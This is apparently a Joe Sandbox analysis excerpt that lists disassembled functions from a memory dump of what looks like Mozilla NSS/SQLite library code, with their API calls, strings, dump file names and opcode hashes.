Instruction Fuzzy Hash: 2D513B72B016494FC718CDADDC526DEBBDAABA4310F48C23AE442DB781D678E907C751

Function 6C720F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C721027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C721353

Strings

NULL, xrefs: 6C72119E
%02x, xrefs: 6C7212F6
$, xrefs: 6C7212A0
'%.*q', xrefs: 6C721217, 6C721292
zeroblob(%d), xrefs: 6C721223
-- , xrefs: 6C720FF5
%lld, xrefs: 6C72114B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction ID: 8d4b4602e6f5adf40dce6319e0dd2786b8ed0010a3d3955245da7eeca769723a
Opcode Fuzzy Hash: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction Fuzzy Hash: A4E1AF71A083809FD714CF18C580A6BBBF2BF86348F14896DF98587B51E776E949CB42

Function 6C728FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C728FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C72915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729209

Strings

3333, xrefs: 6C72925E
UUUU, xrefs: 6C729255

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction ID: ca43001c1552c6310601ab2ec2131d25f488031a765146947e29eabf5207f86f
Opcode Fuzzy Hash: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction Fuzzy Hash: EAA1AF72E001199BDB18CB69CD94BAEB7B5BF48324F0D4179E905A7741E73AEC41CBA0

Function 6C6BBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C6BBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C6BBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C6BBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C6BBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C6BBE1E

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction ID: 684709cdf9758d2a7de0aa46fab8fd89bce89715d029ac9f91987e134704ab9a
Opcode Fuzzy Hash: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction Fuzzy Hash: 6A21E1B6E0028957FB1096529D82B8F36B49BD278DF080028F916BE651E330D43983AE

Function 6C768D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B14E4,6C71CC70), ref: 6C768D47
PR_GetCurrentThread.NSS3 ref: 6C768D98

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C768E7B
htons.WSOCK32(?), ref: 6C768EDB
PR_GetCurrentThread.NSS3 ref: 6C768F99
PR_GetCurrentThread.NSS3 ref: 6C76910A

Strings

%u.%u.%u.%u, xrefs: 6C768E74

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction ID: a688033dd2a9626c58d3a350f83fa3dd53b4546242942edabbf2c0b38265c32d
Opcode Fuzzy Hash: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction Fuzzy Hash: C502BA319052518FDB18CF1AC6687AABBB2EF53354F29826ACC915FF92C331D949C790

Function 6C5EEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6C5EF95C, 6C5EF9BF, 6C5EFA5E, 6C5EFA8B
not authorized, xrefs: 6C5EF957, 6C5EF9BA
sqlite_temp_master, xrefs: 6C5EF0A6, 6C5EF2D5
view, xrefs: 6C5EF061, 6C5EF071, 6C5EFAB7
%s %T already exists, xrefs: 6C5EFAC8
sqlite_master, xrefs: 6C5EF0AB, 6C5EF2DA, 6C5EF757, 6C5EF93E
temporary table name must be unqualified, xrefs: 6C5EF734
table, xrefs: 6C5EF05C, 6C5EFABC, 6C5EFAC7
there is already an index named %s, xrefs: 6C5EF9D7

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction ID: ba198bc7c99a3ec51f1c9b15177747398e5c32bc2b642da92c7e81c1bf2448bb
Opcode Fuzzy Hash: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction Fuzzy Hash: A672A170E04205CFDB14CF68D884BA9BBF1BF8D308F1582A9D9159BB52DB75E845CB90

Function 6C709C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A114

Strings

database corruption, xrefs: 6C70A029, 6C70A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C70A01F, 6C70A0E4, 6C70A0FE
%s at line %d of [%.10s], xrefs: 6C70A02E, 6C70A10D

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction ID: 43ffb86fb7cbbf5141caa6ef2098450fc71ef5129500bb174d74d3212fea0419
Opcode Fuzzy Hash: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction Fuzzy Hash: 6822ACB17083419FC704CF29C69062ABBE1BFDA354F148A3DE9DA97A52D731E845CB42

Function 6C729D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5E8637,?,?), ref: 6C729E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5E8637), ref: 6C729ED6

Strings

database corruption, xrefs: 6C729ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C729EC0
%s at line %d of [%.10s], xrefs: 6C729ECF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction ID: 93e6624f903cc5810b0fdf43b0a3d97c0aee3162a67fb9604e7dc27adca02f3d
Opcode Fuzzy Hash: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction Fuzzy Hash: 0E81A071F012098FCB14CFAACA84ADEB3F6EF58304B188569E815ABB51E734ED45CB50

Function 6C737F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7381BC

Strings

out of memory, xrefs: 6C73835B
BINARY, xrefs: 6C738126

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction ID: 5c68758b613dd9a766786d7a7a526e109fe71757a502387342787647f2b06efa
Opcode Fuzzy Hash: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction Fuzzy Hash: F452AF71E05228DFDB04CF99C980B9DBBB2FF48318F15916AD859EB752D730A846CB80

Function 6C6B9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B9ED6

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C6B9EE4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F38

Part of subcall function 6C6BD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C6B9F0B), ref: 6C6BD03B
Part of subcall function 6C6BD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6BD04E
Part of subcall function 6C6BD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C6BD07B
Part of subcall function 6C6BD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C6BD08E
Part of subcall function 6C6BD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C6B9F59

Part of subcall function 6C6B9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE
Part of subcall function 6C6B9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: e0161a4a089a2d8325c13b07d1c8cbdb1dd59d199673a3e60fe1ca6c5bdd8558
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: CF110BB5F042026BF7109B659C00B9B73A9AFA635CF140134E50AAB740FB71E539C39D

Function 6C76CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76D086
PR_Malloc.NSS3(00000001), ref: 6C76D0B9
PR_Free.NSS3(?), ref: 6C76D138

Strings

>, xrefs: 6C76CF5B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: dadeca0df0336e890a93f9c09d5546fdac01e6f59edf48890e3e18a2e203b027
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD18A32B506460BEF18487F8EA13EA77938762374F784339DD618BFE5E65888438305

Function 6C5EAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

pvl, xrefs: 6C5EADA7
winUnlock, xrefs: 6C5EAE18
Pvl, xrefs: 6C5EADDB, 6C5EADF5, 6C5EAE6A
winUnlockReadLock, xrefs: 6C5EAE9F
0vl, xrefs: 6C5EACC0, 6C5EAD22, 6C5EAD5E, 6C5EAE45

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlock$winUnlockReadLock
API String ID: 0-792151856
Opcode ID: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction ID: eecee8da5ac6bf1c60882fbbe5d7e3ac746ab80e53bce509b454173c4e46b59e
Opcode Fuzzy Hash: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction Fuzzy Hash: E671BD706083449FDB04CF28E894AAABBF5FF89304F14CA28F95997351E730A985CBD1

Function 6C70AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction ID: 26f18300c447125f1e7eb02779cb283940893cb3118e5255baca8150d3083427
Opcode Fuzzy Hash: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction Fuzzy Hash: A5F1E1B1F012598BDB04CFA9DA547AE77F0AB8A308F25823DD905D7B44E770AA51CBC4

Function 6C6FDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2DA

Strings

W, xrefs: 6C6FE111

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction ID: 81f911910fb2354c947499ff244de95da27b7d87c1d6102bec37ca2ab405f34f
Opcode Fuzzy Hash: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction Fuzzy Hash: D3C11772A092558BDB04CE2AC4907EA7FB3BF86308F284169DD799BB41D731A907C7D4

Function 6C6C0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C6C1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C6C1086

Strings

h(ll, xrefs: 6C6C1062, 6C6C105D, 6C6C0F37, 6C6C1081, 6C6C1082
h(ll, xrefs: 6C6C0E55, 6C6C0EC4, 6C6C0F3A, 6C6C0FA7

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
